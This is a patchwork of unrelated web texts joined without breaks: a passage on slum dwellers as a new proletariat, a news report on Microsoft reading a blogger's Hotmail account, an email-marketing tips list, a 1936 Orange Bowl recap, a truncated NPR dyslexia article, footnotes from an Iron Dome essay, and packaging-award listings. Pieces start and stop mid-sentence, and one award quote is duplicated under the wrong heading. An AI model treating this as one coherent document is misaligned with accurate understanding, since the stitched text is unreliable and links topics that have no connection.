However, there is a privileged site in this series: what if the new proletarian position is that of the inhabitants of slums in the new megalopolises? The explosive growth of slums in the last decades, especially in the third world megalopolises from Mexico City and other Latin American capitals through Africa (Lagos, Chad) to India, China, Philippines and Indonesia, is perhaps the crucial geopolitical event of our times. The case of Lagos, the biggest node in the shanty-town corridor of 70 million people that stretches from Abidjan to Ibadan, is exemplary here: according to the official sources themselves, about two-thirds of Lagos’ total land mass of 3.6 square kilometers could be classified as shanties or slums; no one even knows the size of its population – officially it is six million, but most experts estimate it at 10 million. Since sometime very soon (or maybe, given the imprecision of the third world censuses, it has already happened), the urban population of the Earth will outnumber the rural population, and since slum inhabitants will compose the majority of the urban population, we are in no way dealing with a marginal phenomenon.
We are thus witnessing the fast growth of the population outside state control, living in conditions half outside the law, in terrible need of the minimal forms of self-organization. Although their population is composed of marginalized laborers, redundant civil servants and ex-peasants, they are not simply a redundant surplus: they are incorporated into the global economy in numerous ways, many of them working as informal wage workers or self-employed entrepreneurs, with no adequate health or social security coverage. (The main source of their rise is the inclusion of the third world countries in the global economy, with cheap food imports from the first world countries ruining local agriculture.) They are the true ‘symptom’ of slogans like ‘Development,’ ‘Modernization,’ and ‘World Market.’
No wonder that the hegemonic form of ideology in slums is Pentecostal Christianity, with its mixture of charismatic-miracles-and-spectacles-oriented fundamentalism, social programs like community kitchens, and taking care of children and the old. While, of course, one should resist the easy temptation to elevate and idealize the slum dwellers into a new revolutionary class, one should nonetheless, in Badiou’s terms, perceive slums as one of the few authentic “evental sites” in today’s society – the slum-dwellers are literally a collection of those who are the “part of no part,” the “surnumerary” element of society, excluded from the benefits of citizenship, the uprooted and dispossessed, those who effectively “have nothing to lose but their chains.” It is effectively surprising how many features of slum dwellers fit the good old Marxist determination of the proletarian revolutionary subject: they are “free” in the double meaning of the word even more than the classic proletariat (“freed” from all substantial ties, dwelling in a free space, outside the police regulations of the state); and they are a large collective, forcibly thrown together, “thrown” into a situation where they have to invent some mode of being-together, and simultaneously deprived of any support in traditional ways of life, in inherited religious or ethnic life-forms.
What one finds in the “really-existing slums” is, of course, a mixture of improvised modes of social life, from religious fundamentalist groups held together by a charismatic leader to criminal gangs, up to germs of new ‘socialist’ solidarity. The slum dwellers are the counter-class to the other newly emerging class, the so-called “symbolic class” (managers, journalists and PR people, academics, artists, etc.) which is also uprooted and perceives itself as directly universal (a New York academic has more in common with a Slovene academic than with blacks in Harlem half a mile from his campus). Is this the new axis of class struggle, or is the “symbolic class” inherently split, so that one can make the emancipatory wager on the coalition between the slum-dwellers and the progressive part of the symbolic class? What we should be looking for are the signs of the new forms of social awareness that will emerge from the slum collectives: they will be the germs of the future.Outlook.com email should be private, Microsoft said in a recent blog post that then went on to explain why it violated that belief in privacy for at least one user.
Recently, a former Microsoft employee was arrested in Seattle, charged with theft of trade secrets. The ex-employee, Alex Kibkalo, is accused of leaking parts of Windows 8 to a French-language blogger.
The blogger in question, who remains unidentified, happened to use Hotmail—the investigation began in 2012 before Hotmail's Outlook.com transition—as his primary email account. So as part of its investigation, Microsoft peeked into the blogger's email account to read that person's correspondence with Kibkalo.
Say what?
Microsoft says it was justified in searching the blogger's email account, because it had probable cause to believe Kibkalo was funneling trade secrets to the blogger.The company also pointed out that even with its justification for searching the account, it would have been impossible to gain a court order.
"Courts do not, however, issue orders authorizing someone to search themselves, since obviously no such order is needed," Microsoft Deputy General Counsel John Frank explained in the blog post. "So even when we believe we have probable cause, there’s not an applicable court process for an investigation such as this one."
Before it did look inside the blogger's account, however, the company claims it went through a "rigorous process" to justify the snooping.
"There was a thorough review by a legal team separate from the investigating team and strong evidence of a criminal act that met a standard comparable to that required to obtain a legal order to search other sites," Frank said.
Future snooping will be harder
The company's terms of service apparently make this kind of snooping just fine; however, the company plans to make its pre-snooping process even more rigorous for potential future cases.
Here are the highlights:
Microsoft says it will not search a user's email or other Microsoft service "unless the circumstances would justify a court order, if one were available."
A legal team separate from the internal investigating team will assess the evidence, as it did in the Kibkalo case. The investigation will only continue if the separate legal team believes there is evidence of a crime that would justify a court order.
If the separate legal team believes the investigation should continue, Microsoft will consult "an outside attorney who is a former federal judge." If the "former judge" also believes there is sufficient evidence for a court order, then the search will happen.
Any searches that take place will be confined to material relating to the investigation and nothing else.
The number of user searches of this type will be included in Microsoft's bi-annual transparency report.
Kudos to Microsoft for addressing this issue so promptly after it came to light. But what's really needed for future cases is not a more rigorous internal process from Microsoft.
Instead, a comprehensive overhaul of laws protecting online privacy are in order. That way, the next time Microsoft does need to sift through a user's Outlook.com account to search for wrongdoing, obtaining a court order would not seem ridiculous—but instead be standard procedure.To better document the live performances of the Roadside Picnic, photographer Oona Lurås Wiggan assembled a book of photography only to have it’s readers tear it up. The Doberman Variations book strings together three unrelated topics based on the artist’s obsession of Grace Jones, Dobermans and abandoned theme parks to create an umbrella theme.
When pulled apart and rearranged, the 250 pages of black and white photography reveal a password and a link to download video and audio recordings from some of the performances. If you are a fan of Justin Wiggan’s Roadside Picnic, you can now relive the magical musical events that took place in Norway early this year through these “secret” recordings. Just remember, in order to create something even better, you must destroy something in the process – this book is no different.Email marketing is a longterm strategy but that doesn’t mean there aren’t opportunities to hack the growth of your list and the effectiveness of your emails. Here are 15 proven ways to get better at email marketing fast.
1. Collect email address everywhere, even on Twitter
Of course you have a form on your blog to collect email addresses but don’t stop there!
There are all kinds of ways to use pop-up forms and interstitial ads to ask people to subscribe to your list but there are more creative ways to bring people onboard too. Twitter, for example, is a very cool way to collect email addresses. All you need to do is create a Lead Generation Card and you can start collecting email addresses for free.
We got this idea on the Zapier blog, where Danny Schreiber explains the process in detail:
“By simply including a link within my tweet, the card is embedded, giving users the ability to subscribe to my email list with a single click. It’s beautifully simple,” Ryan writes on his blog. Ryan’s conversion rate after a few weeks: 60-80%
We created a guide to getting this set up, which you can check out here.
2. Send someone else’s content
Here’s a quick way to assess the quality of your email marketing: Are you willing to send your subscribers someone else’s content? If you answered “yes”, your marketing has a much better chance of being effective because it means you genuinely care about your subscribers.
You should be willing to send your list someone else’s content and here’s why:
Your email subscribers want great content. This is an easy way to give it to them.
You want people to know that their well-being is your priority. This is the perfect way to prove it.
Writing great content is hard. You don’t always have time to create something great.
This is a great way to build rapport with other sites.
We did this recently using Danny Schreiber’s post about creative ways to grow your email list that we mentioned above. Our readers loved it.
3. Give people a reason to forward your email
Harry’s, the men’s grooming brand, launched last year with almost 100,000 email addresses in their database. How did they do that? They encouraged sharing via referrals. Harry’s co-founder Jeff Raider explained the process, including the templates and code they used, in a recent post on Tim Ferriss’ blog:
The user interface of the campaign was relatively simple – a two-page microsite. First, users entered their email addresses on a splash page. This first step was essential since we wanted to capture emails both for our list and so that we could use it as an identifier for tracking referrals. The second page was where the referral mechanisms lived. It contained a shareable link to the splash page coded specifically to the user. Below the link were buttons to share the link through email, Facebook and Twitter with the click of a mouse. By sharing the link with friends, users had the opportunity to earn free product. The more friends who signed up using your unique referral link, the bigger the prize you earned.
It’s worth reading the whole post – How to Gather 100,000 Emails in One Week – for more details on the logistics and the technical stuff. Incentives work … put them to good use.
4. Use social proof
Before we dive into this one, here’s a definition courtesy of Ed Hallen on the Buffer blog:
What is social proof? Social proof is the concept that people will conform to the actions of others under the assumption that those actions are reflective of the correct behavior.
There are a number of ways email marketers can apply this idea to their work. The first and easiest way to implement social proof is to tell your readers how many people subscribe to your email list.
Buffer does this:
And so does Noah Kagan:
There are lots of ways to incorporate social proof into your marketing. Here are a few ideas:
Encourage customers to write reviews. No one does this better than Amazon and it’s proven to be one of the most effective ways to drive sales.
Tell stories that your users and customers can relate to. Authenticity and transparency matter so use content that drives a narrative similar to the one your ideal customers are currently experiencing or would like to experience. Alex Turnbull does a killer job of this with his Journey to $100k a Month blog.
Be socially active. Use social media and email to be present in your community. Your expertise, and willingness to share it with others, will make others want to join your tribe.
5. Send the best email receipts in the game
Not pretty good receipts, the best receipts.
People love transactional email but so few companies take the time to turn these messages into the powerful marketing vehicles they can be. Twitter co-founder Jack Dorsey went to so far as to call receipts “next publishing medium”.
Here are a few ideas to get more out of your email receipts:
Make them look good. Email receipts can be beautiful as well as functional. Since most look so bad, it’s easy to stand out.
Email receipts can be beautiful as well as functional. Since most look so bad, it’s easy to stand out. Include referral codes to encourage customers to share their experience with others. Uber, for example, will give customers a $20 credit if they refer a new customer and the referral code is built into their receipts.
to encourage customers to share their experience with others. Uber, for example, will give customers a $20 credit if they refer a new customer and the referral code is built into their receipts. Show related products or services. Active.com does a great job with this. When I sign up for a 5k using their service, they let me know about 5k training plans in my receipt. It’s this type of thinking that can really accelerate growth.
Check out our guide to growth hacking with email receipts for more on this topic.
6. Use email retargeting
Instead of guessing what people want, just look at the data you already have. Many marketers have put retargeting to good use with ad networks but your presence in the inbox is much more powerful. There are two ways to do this.
First, you can track what your email subscribers click and show them ads based on that data. Or, you can track logged in users behavior on your site and trigger emails based on their activity. Airbnb has mastered this. When a logged in user views a listing but doesn’t actually rent, Airbnb will trigger an email to that user with more information on the listing as well as nearby rentals in the same price range.
Tommy Walker explains the power of specificity on the ConversionXL blog:
Using the “Email Forking” strategy, you automatically move subscribers to new email lists that are more specific to their interests. If for example a retail site first email offers “shirts & shoes”, and the subscriber clicks “shoes”, they will be moved to a shoe specific email list, and the “shoes” retargeting ad is triggered. On the next email, the subscriber will be given a choice between “casual & dress shoes.” When the subscriber clicks dress shoes, now they are moved to the “dress shoes” list while the retargeting ads switch over to display dress shoes over network. The idea is to drill into specific interests and reinforce those click decisions with relevant retargeted advertising.
Remember that while ad networks can be powerful, behavioral email can be the silver bullet that separates you from your competitors.
7. Use buttons
The use of buttons isn’t limited to landing pages. In fact, email marketers can greatly benefit from the use of buttons. Joanna Wiebe from Copyhackers has detailed how and why to use buttons numerous times, so we are going to lean on her expertise.
What should my button say?
A great rule of thumb when writing a call to action is to make your button copy complete this sentence: I want to ________________
What should my button look like?
A 3D effect
A contrasting, non-grey color
Feedback on hover (e.g., different color)
Whitespace around it
An arrow pointing to it with instructional copy
Read way more here and check out Button Generator to create simple buttons you can start using right away.
8. Automate personal messages
Wouldn’t you like every new subscriber or customer to get a personal note from your CEO, customer support rep or account manager? You can, and should, make this happen. In order to make these messages as effective as possible, here are a few tips for automated personal messages.
Make sure they come from a real person.
Allow people to reply to them.
Read and respond to their replies.
Use plain text.
Trigger them based on behavior (more on that below).
Personal messages can be effective in welcoming new customers but there are more powerful ways to use them in your onboarding. Here is an actual email that we send after a Vero free trial customer sends their first email with our software.
The more specific you can be, the more personal the message is.
9. Ask people to reply (and actually check your inbox)
If you have a large email list, you are likely getting replies that you never see. It is so important to have a real inbox where replies can be monitored. What if someone just needs one last bit of information before becoming a customer? Or worse, what if someone replies and never hears back, left to assume you don’t care about their needs.
It’s an easily overlooked method for gathering feedback and it’s actually something you should encourage your subscribers to do. Why send them to a form when they could simply reply directly from their inbox? You can easily route responses to your customer support team or even a HelpScout inbox where the right person can be assigned to handle it.
Enabling people to respond to your email can give you valuable feedback about your product or service, improve your customer service and accelerate leads through your conversion funnel.
So move away from this:
And towards this:
It’s a no-brainer.
10. Unsubscribe your customers for them
Uh … what?
You’ve been told over and over how important your email list is to your business: “collect every email you can, at all costs!”
More than a few marketers lost their minds when The Next Web published this email from retailer Fab.com.
This is one of the best email hacks I’ve ever seen.
Why?
Because it’s considerate.
No matter how rational you are, it’s natural to cringe a little whenever a customer unsubscribes. Who could blame you for feeling apprehension that your hard-earned customers are going to unsubscribe en-masse?
At Vero, we are advocates for smarter emails – i.e. send less and make ’em count – but the primary thing you should remember is that there’s no point having people on your list that don’t want your emails.
So why not automatically unsubscribe inactive customers?
You’ll increase the overall value of your active customer list by removing those that never open or click your emails and reduce your risk of ending up in the spam folder, as Pardot explains.
Internet service providers, spam monitors, and email security services all set thresholds for what constitutes an acceptable email campaign. Your spam complaints, undelivered messages, and unsubscribes all need to be under these thresholds to avoid unwanted attention from these groups. Blasting your emails to an unqualified list could result in account suspensions from your email platform, penalties, or even fines, not to mention dismal marketing results.
It’s hard to bite the bullet but it’s a smart strategy in the long run.
11. Put HTML to work in your emails
Email has come a long way over the last 40 years. Thanks to HTML we can now do a lot of interesting things with emails. Putting aside the plain text vs. HTML email debate for a moment, there are many cases where HTML emails rule supreme.
When you are using HTML emails consider every trick you can to maximize your conversions.
Let’s take this email from Amazon:
Depending on which star I click, the page that opens is pre-loaded with that review already started.
I’m more invested since this review is partially done. It’s a simple but effective way to make my life easier.
Another fancy HTML email trick you can use is forms. Take this example from Google:
It features an HTML form inside the body of the email. This is a relatively underused trick and, although it doesn’t work in every email client, it’s a novel way of speeding up feedback that is worth testing. Read way more about this here.
12. Use different “from” addresses to build rapport
How many people work at your company?
One?
I didn’t think so (although, there’s nothing wrong with that!). Businesses are usually made up of at least a few people and each person has a particular role that supports the customers in one way or another.
It goes without saying that you should send email from an actual person. (No more no-reply@business.com … please-reply@business.com would be much more effective!)
The hack here is to try emailing from multiple members of your team. Take Vero’s welcome emails as an example. Setting up Vero involves two real steps:
Tracking your customers’ behavior (installing Javascript), and Writing an awesome email to get started.
Since there is a bit of code involved, some of our emails from our CTO James Lamont:
This has been very effective in our marketing because the emails feel more personal. It’s a nice hack that will not only put you ahead of the ‘no-reply’ crowd but can even give you an edge over less creative marketers.
13. Take your signature to the next level
No copy should be wasted copy.
The footer of your email is a good place to re-iterate a call to action or highlight a message. Customers read things in this section. Rather than hiding your footer in tiny, 8px font, give it some prominence!
Take the weekly blog post updates from KISSmetrics:
The primary call to action is to get you to read the blog but they don’t just sign off with ‘The KISSmetrics team’.
No sir!
They include a massive, fluorescent yellow call to action. I can only imagine that more than a few people click on that bad boy … it’s hard to miss after all.
You can also use a postscript (P.S.) rather than a signature. Direct marketing gurus use this trick all the time. When we wrote about how customers actually read emails I mentioned the top three things you should remember when using the PS to re-iterate your call to action:
Testimonials: add social proof to your call to action with a quote in the PS. Bonuses: give customers something extra to push them over the line. Be personal: treat the PS like you’re writing a letter: make a personal connection with your customers.
Hotmail famously used this strategy in the late 1990s to explode from a relative nobody to a $400 million company in 18 months.
As a way to stimulate growth, the Hotmail team added the intriguing bit of text “PS I love you” at the bottom of every email they sent, with a link back to their homepage. In less than a year, this little piece of content was responsible (in part) for their massive growth of more than 12 million email accounts.
Signatures and postscripts are low-hanging fruits with massive potential. Be sure to include them in your marketing and your personal email.
14. Make everything dynamic
It’s easy to spend a lot of time optimizing the body of your content but it’s worth thinking about the periphery as well. Like the signature mentioned above, most emails contain multiple elements that you can play with. Each of these is an opportunity in disguise.
Take this email from Net-a-Porter. In my experience these top menu items never change – but think of all the things Net-a-Porter could do…
Without going too crazy, you could easily customize different menu items depending on what actions a customer has taken.
Perhaps an email sent to customers who have purchased three times or more contains a link to’Secret Pre-Launch Items’ while an email to a customer who has never purchased contains a link to’Sale Items‘.
This sort of simple segmentation follows really successful segmentation strategies used by big brands. Check out this post on increasing customer lifetime value with email segmentation for more details.
Ever a good example, Amazon takes every chance it can get to make your emails dynamic. They watch everything you do and include images, links and offers that are really dynamic.
15. Don’t quit
This is the most important email marketing tip you will ever read.
Quitting too soon is the #1 reason people fail at content and email marketing. You have to stay in the game long enough to earn trust, become a true expert and find a tribe that’s willing to buy, buy and buy again. It’s really hard and it can take a long time. The hacks listed above will help you get there faster but expect the road to success to be a bumpy one.
This image tells you everything you need to know.
Have a great email hack that we missed? Let us know in the comments.Team 1 2 3 4 T Catholic 7 6 7 0 20 Mississippi 0 6 0 13 19 Starting Lineups Ole Miss Position Catholic Poole L.E. Schmarr Kinard L.T. Karpowich Bilbo L.G. Anthanovage Nelson Center Yanchulis Breyer R.G. Lajousky Dickens R.T. Clements Jackson R.E. Mulligan Bernard Q.B. Dranginis Peters H.B. Adamaitis R. Hapes H.B. Carroll Rodgers F.B. Makofske Box Score Ole Miss Statistic Catholic 15 First Downs 7 15 Penalties 30 3 Fumbles 1 1 Fumbles Recovered 2 250 Yards Gained 124 38 Yards Lost 0 12 Passes Attempted 3 3 Passes Completed 1 4 Passes Intercepted 2 53 Passing Yards 48 37 Avg. Punts 39 16 Avg. Punt Return 8 35 Avg. Kickoffs 50 25 Avg. Kickoff Return 15
1936 Orange Bowl
Catholic 20,
Mississippi 19
The 1935 Catholic University football team opened with four consecutive victories and rolled to a regular-season record of 7-1. The defense recorded three shutouts, allowed just 34 points and did not give up a rushing touchdown.
Impressed by the Cardinals' performance, the Orange Bowl Committee invited Coach Dutch Bergman's team to represent the North in the second annual Orange Bowl Classic. The battle lines were drawn when Mississippi was selected to represent the South.
With Bill Munday of CBS handling the play-by-play, the game was the first Orange Bowl to be broadcast on radio. Legendary sports writer Grantland Rice was also in the press box. It was the first Orange Bowl to be preceded by a parade in tribute to Florida's citrus industry. Consisting of 30 floats that cost about $40,000, the inaugural King Orange Jamboree was born with Babs Beckwith chosen as the first Orange Bowl queen.
With pregame festivities complete and 10,000 cheering fans in attendance, CUA struck first on a one-yard scoring pass from quarterback Pete Dranginis to Bill Adamaitis. The Cardinals extended the lead to 13-0 when Adamaitis hit Stuart Foley on a 52-yard TD pass. This made Adamaitis the first of only three players to catch and throw a TD pass in the same Orange Bowl. After the Rebels' Ned Peters scored on a 67-yard scamper, the Cards held a 13-6 halftime advantage.
The CUA special teams scored the Cardinals' final TD when the entire right side of the line surged in and blocked a third-quarter punt attempt by Dave Bernard. Backup end Ferdie Rydzewski picked up the ball and ran 20 yards into the end zone to increase the CUA lead to 20-6. The Cardinals then withstood a late 13-point rally by Ole Miss for its 20-19 triumph. The margin of victory was a missed extra point on Mississippi's next-to-last TD.
"I said (we had) a great ball club before we left home," Bergman told The Washington Post, "and I think the boys proved it out there on the field this afternoon. I'm darned proud of every last one of them."
About 3,000 fans jammed Washington's Union Station to greet the Orange Bowl champions upon their return. Their victory parade went down Pennsylvania Avenue, where, as the Post reported, "President (Franklin) Roosevelt, on his way to church, became an unwitting parader, when the march de triumph jammed traffic in front of the White House."Dyslexia: The Learning Disability That Must Not Be Named
Enlarge this image LA Johnson/NPR LA Johnson/NPR
Part 4 of our series, "Unlocking Dyslexia."
Megan Lordos, a middle school teacher, says she was not allowed to use the word "dyslexia."
She's not alone. Parents and teachers across the country have raised concerns about some schools hesitating, or completely refusing, to say the word.
As the most common learning disability in the U.S., dyslexia affects somewhere between 5 and 17 percent of the population. That means millions of school children around the country struggle with it.
Under the Individuals with Disabilities Education Act (IDEA), schools are required to provide special services to help these students — things like reading tutors and books on tape. But those special services can be expensive, and many schools don't have the resources to provide these accommodations.
That has led some parents and advocates to worry that some schools are making a careful calculation: If they don't acknowledge the issue — or don't use the word "dyslexia" — then they are not obligated to provide services.
Last year, when Lordos was teaching English at a public school in Arlington, Va., she recalls a parent-teacher meeting in the conference room. Things started smoothly.
Lordos says two parents had come in to talk with teachers and administrators about their son – Lordos' student, an eighth-grader – who was struggling to read.
Partway through the meeting, Lordos says she suggested that the student might have orthographic dyslexia. Two of Lordos' own children have dyslexia and, she says, she noticed her student had similar challenges to the ones she'd seen at home.
"When I mentioned that in the meeting, I was stopped." Lordos remembers being interrupted. "They said: 'Oh no |
, in all measures of lethality, there were dramatically fewer casualties and property damage in Israel in 2014 when Iron Dome was deployed, compared to the casualties and property damage from rockets in the 2006 Lebanon War, when Iron Dome was not deployed.
Finally, Rubin explained that Israel's civil defense shelters -- often simply safe-rooms in buildings and apartments -- did not account for the low number of casualties and scarce property damage in 2014.[31] The same civil defense shelters were present in 2006 when 53 Israelis died in the missile war that year. And Israelis are not able to run for shelter faster now than in 2006.
The difference, then, between 2006 and 2014 was precisely the presence of Iron Dome.
In short, Iron Dome gave the lie to the repeated claims that missile defense tests are "successful" only because they are rigged; that missile defense systems cannot work; that they do not save lives, and that the threat of rocket attacks must be dealt with through appeasement and concessions.
Missile threats from countries such as Iran and North Korea can be dealt with, at least in part, by missile defenses.
We do not have to be victims unless we choose to be. We can successfully defend ourselves.
We should, finally, ask ourselves seriously: Is "No missile-defense better than some defense"? Really?
[1] "Israeli Missile Defense" by Uzi Rubin, who founded and was the first director of the Israel Missile Defense Organization in the Israel Ministry of Defense (MOD) and is known as the "Father" of the Israeli Arrow Missile Defense… September 12, 2014 from C-Span, read more.
[2] WSJ Video, "How Israel's Iron Dome Rocket Defense System Works", July 11, 2014, noting its successful intercept rate.
[3] "How Iron Dome blocks rockets from Gaza, protects Israelis" by Michael Martinez and Josh Levs, CNN, July 9, 2014
[4] "Iron Dome: A Missile Shield That Works", Time.com, November 19, 2012,
[5] "The evidence that shows Iron Dome is not working", Bulletin of the Atomic Scientists (BAS), July 19, 2014.
[6]. "Israel's Iron Dome is more like an iron sieve", by David Axe, Reuters, July 25, 2014. Axe writes: The conclusions were based on "Careful analysis of amateur videos and photos of Iron Dome interceptions over the past three years...most of [this] data is from a previous round of fighting in 2012."
[7] "Middle East Monitor Story on Missile Defense Quotes Phil Coyle" by Alastair Sloan July 31, 2014, subtitled "It is a lie to say that Iron Dome is protecting Israelis from Hamas."
[8] In "For All The Hype, Does Israel's Iron Dome Even Work?", Talking Points Memo, August 21, 2014, Dylan Scott asks: "But what if the U.S. government is pouring hundreds of millions of dollars into a system that isn't nearly as effective as it is claimed to be?"
[9] The Arms Control Lobby Confronts Ballistic Missile Defense: Critics Torture Logic to Discredit Anti-Missile Technology, March 2003 Capital Research Center, Washington, D.C.
[10] From Uzi Rubin, September 12, 2014, "The Gaza Missile Wars", CSpan.
[11] From Uzi Rubin, September 12, 2014, "The Gaza Missile Wars", CSpan. See also "Iron Dome—Savior, or Sales Job?", by Jim Fallows, The Atlantic, July 15, 2014, and "Does Israel's US-funded Iron Dome make the world safer?" by Azriel Bermant, The Guardian, August 6, 2014.
[12] From the MDA.org website, Address by Lt.Gen (Ret) Trey Obering, USAF, former Director, Missile Defense Agency, Multinational BMD Conference, Berlin, Germany, July 19, 2004.
[13] From Uzi Rubin, September 12,2014, "The Gaza Missile Wars", CSpan.
[14] From Uzi Rubin, September 12,2014, "The Gaza Missile Wars", CSpan.
[15] Aviation Week and Space Technology, "Iron Dome -- Are The Critics On Target?" by Bill Sweetman, Aug 25, 2014.
[16] "The Rockets from Hamas, and the Iron Dome That Could Use Patching", July 9, 2014, All Things Considered, National Public Radio.
[17] "Israel's Iron Dome: A misplaced debate", Bulletin of the Atomic Scientists (BAS), July 29, 2014.
[18] "Israel's Iron Dome: A misplaced debate", Bulletin of the Atomic Scientists (BAS), July 29, 2014. See also: "More Than a Missile: Judging Iron Dome" by Zachary Goldman, August 11, 2014, Commentary;"Iron Dome: The public relations weapon" by John Mecklin, Bulletin of the Atomic Scientists (BAS). Mecklin writes: "Israel's Iron Dome rocket defense system is high-tech. So is the PR campaign around it." 27 May, 2014. And "Iron Dome Boondoggle: Has Obama Just Signed a $225M Check for a Defective Israeli Missile Shield?," D emocracyNow.org. See also David Talbot in Technology Review, "Israeli Rocket Defense System is Failing", July 10, 2014.
[19] Quoted in the Middle East Monitor story by Alastair Sloan of July 31, 2014 entitled "It is a lie to say that Iron Dome is protecting Israelis from Hamas."
[20] For an extended look at what makes missile defense effective, the June 26, 2014 update of the Institute for Foreign Policy Analysis [IFPA] Independent Working Group on Missile Defense is an excellent source as well as "The Arms Control Lobby Confronts Ballistic Missile Defense: Critics Torture Logic to Discredit Anti-Missile Technology", March 2003 Capital Research Center, Washington, D.C. See Defense Dossier, American Foreign Policy Council, February 10, 2014, "Missile Defense for Today and Tomorrow" by Rebeccah Heinrichs.
[21] Missile Defense Agency - U.S. Department of Defense test data show 65 of 79 actual tests were successful (excluding two tests where the test was aborted because the target or interceptor did not launch).
[22] At the Union of Concerned Scientists, Press Conference, on July 26, 2001. At a later Washington, D.C., UCS Press Conference, on May 14, 2004, Lisbeth Gronlund said: "No missile-defense is better than some defense."
[23] Congressman Rush Holt, (D-NJ), Congressional Record, May 21, 2004, House of Representatives. Also May 14, 2004, UCS press conference and follow-up remarks on May 21, 2004 on the floor of the House.
[24] "U.S. Missile Defense Developments: How Far? How Fast?" Brookings Institution, June 4, 2014.
[25] "Antimissile Testing is Rigged to Hide a Flaw, Critics Say," by William Broad, June 9, 2000, New York Times.
[26] "Americans Should Take Notes on Israel's Iron Dome", by Rebeccah Heinrichs, July 27, 2014, Daily Signal.
[27] From Uzi Rubin briefing in Washington, D.C. provided to over 120 top defense specialists, September 12, 2014, "The Gaza Missile Wars", CSpan.
[28] "The Rockets from Hamas, and the Iron Dome That Could Use Patching", July 9, 2014, All Things Considered, National Public Radio.
[29] From the Uzi Rubin, "The Gaza Missile Wars" September 12, 2014 briefing (picked up by C-Span).
[30] From Uzi Rubin, September 12,2014, "The Gaza Missile Wars", CSpan. The rocket attacks were 4200 in 2006 and 4479 in 2014.
[31] From Uzi Rubin, September 12,2014, "The Gaza Missile Wars", CSpan.The Dieline Package Design Awards 2013 Winners Announced at The Dieline Package Design Conference at HOW Design Live: Innovative Student Project takes Best of Show
The Dieline has announced the winners of The Dieline Package Design Awards 2013 presented by Inwork at The Dieline Package Design Conference, held in conjunction with HOW Design Live at the Moscone Center in San Francisco.
The Dieline Package Design Awards are a worldwide competition devoted exclusively to the art of brand packaging. The 2013 competition received over 1100 entries from 61 countries around the world.
42 winners across 13 different categories were awarded a 1st, 2nd, or 3rd place Award, and the highest scoring project received a one-of-a-kind "Best of Show" award, and presented a case study at The Dieline Package Design Conference 2013. An "Editor's Choice" award was handpicked by Andrew Gibbs, Founder of The Dieline. A new Sustainable Packaging Award was created to highlight innovative contributions to the field of sustainable package design.
The Dieline Package Design Awards entrants were judged by a highly esteemed panel of 12 industry experts, based on quality of creativity, marketability and innovation. Debbie Millman, President of Design at Sterling Brands, served as the chairwoman of the judges.
View the winners below!
// ]]>
Dieline Awards 2013 Opening from Stephen Grimm on Vimeo.
BEST OF SHOW
BANDiful
Designed by Vivi Feng & Yu-Ping Chuang
For the first time in The Dieline Package Design Awards history, an innovative student project has been named Best of Show. Vivi Feng & Yu-Ping Chuang created an innovative solution to a common problem, the challenge of using a single hand to apply a bandage.
Applying a bandage using a single hand can be challenging, especially when both of your hands are injured. BANDiful solves this problem by applying a special structure to avoid extra steps in unwrapping bandages. Not only does BANDiful offer a functional benefit, but also enables a new personal experience of using a bandage. Incorporated with a hanger on the top of the package, the consumer can hang BANDiful on the wall near his/her desk. With bright patterns, bandages are no longer invisible but beautiful. Normally people use bandages only for small wounds, but by offering a convenient user experience, a consumer could also feel emotionally comforted as well.
"For the first time in The Dieline Package Design Awards history, an innovative student project has been named best of show. This project was the highest rated project in the competition out of 3 rounds of intense judging from our judges. The two brilliant students created this project as their final thesis project at Pratt. It is an innovative solution to a common problem: the challenge of using a single hand to apply a bandage." Andrew Gibbs, Founder and Editor in Chief, The Dieline
View Case Study
EDITOR’S CHOICE
Method Ocean Plastic Dish + Hand
Designed by Method
Method created the world’s first bottle made with ocean plastic - It’s estimated that several million tons of plastic makes its way into our oceans every year, polluting the environment and hurting our marine populations. Method is tackling this issue with a unique product packaged in bottles made from a blend of ocean plastic + recycled plastic (PCR).
"For the first time in The Dieline Package Design Awards history, an innovative student project has been named best of show. This project was the highest rated project in the competition out of 3 rounds of intense judging from our judges. The two brilliant students created this project as their final thesis project at Pratt. It is an innovative solution to a common problem: the challenge of using a single hand to apply a bandage." Andrew Gibbs, Founder and Editor in Chief, The Dieline
View Case Study
SUSTAINABLE PACKAGE AWARD
Sustainable expanding bowl
Designed by Tomorrow Machine / Innventia
Swedish research company Innventia teamed up with designers Anna Glansén and Hanna Billqvist from design agency Tomorrow Machine to develop a sustainable package customized for freeze-dried food. The instant food package combines different aspects of sustainability. It saves space in transportation by being compressed and it is made out of a 100% biodegradable material from renewable sources, invented by Innventia.
"For the 2013 awards, a new Sustainable Packaging Award was created to highlight innovative contributions to the field of sustainable package design. As package designers, it is our innate responsibility to design packaging with our earth in mind. Each and every one us who designs consumer product packaging for a living has the ability and the duty to create packaging that has less of an impact on the world we all live in. This project does just that, and shows designers that you can create compelling and effective packaging out of sustainable materials." Andrew Gibbs, Founder and Editor in Chief, The Dieline
View Case Study
FRESH FOOD
1st Place: Metropolitan gourmet boxes
Designed by Lufthansa & LSG Sky Chefs
As part of its “Special Moments” in-flight service, Lufthansa Airlines incorporates innovative, out-of-the-ordinary ideas to pamper passengers in all travel classes on selected flights. These ideas include surprising passengers with little gifts to mark a special occasion and treating them to outstanding culinary experiences, such as vinegar and whiskey tastings.
View Case Study
2nd Place: Kefalonia Fisheries
Designed by mousegraphics
mousegraphics designed the consumer's next move: a fresh, cleaned and ready to be consumed fish. It does not require but the simplest cooking, using only fine herbs which will bring out its unique qualities and taste. A differentiating band, on an otherwise transparent packaging, offers much more than the image of a serving suggestion. It works like an x-ray image of a pure product of Greek nature, as well as a preview of the particular culinary experience, the moment just - before-eating, when a fish is opened and all fine scents and juices are liberated.
View Case Study
3rd Place: DYNAMITE
Designed by M.I.L.K. food design & innovation lab
DYNAMITE - The sausage that bites back (Die Wurst die zurück beisst) M.I.L.K. food design & innovation lab developed product and packaging design for a mind - blowing chili flavored sausage innovation for Gerrmany’s retail market. Successfully launched as a seasonal highlight product for those who like it hot!
View Case Study
PREPARED FOOD
1st Place: VersaFlow™
Designed by O-I New Product Development & Innovation
Consumers have high expectations for the brands and products they choose today. They are demanding functionality, versatility and ease-of-use to fit modern needs. At the same time, brand owners and retailers are looking for ways to grow, transform and inject new life into their food products and categories.
A simple device, VersaFlow™ is a glass jar with a lip on the rim to make pouring easier and reduce mess. The jar debuted at Walt Churchill's Market in northwest Ohio, launching a new custom made marinara sauce from the market’s chef.
For Consumers, VersaFlow delivers a more user-friendly brand and product experience while reducing food waste and creating an emotional connection around sustainability. It’s an ah-hah moment every time somebody uses it.
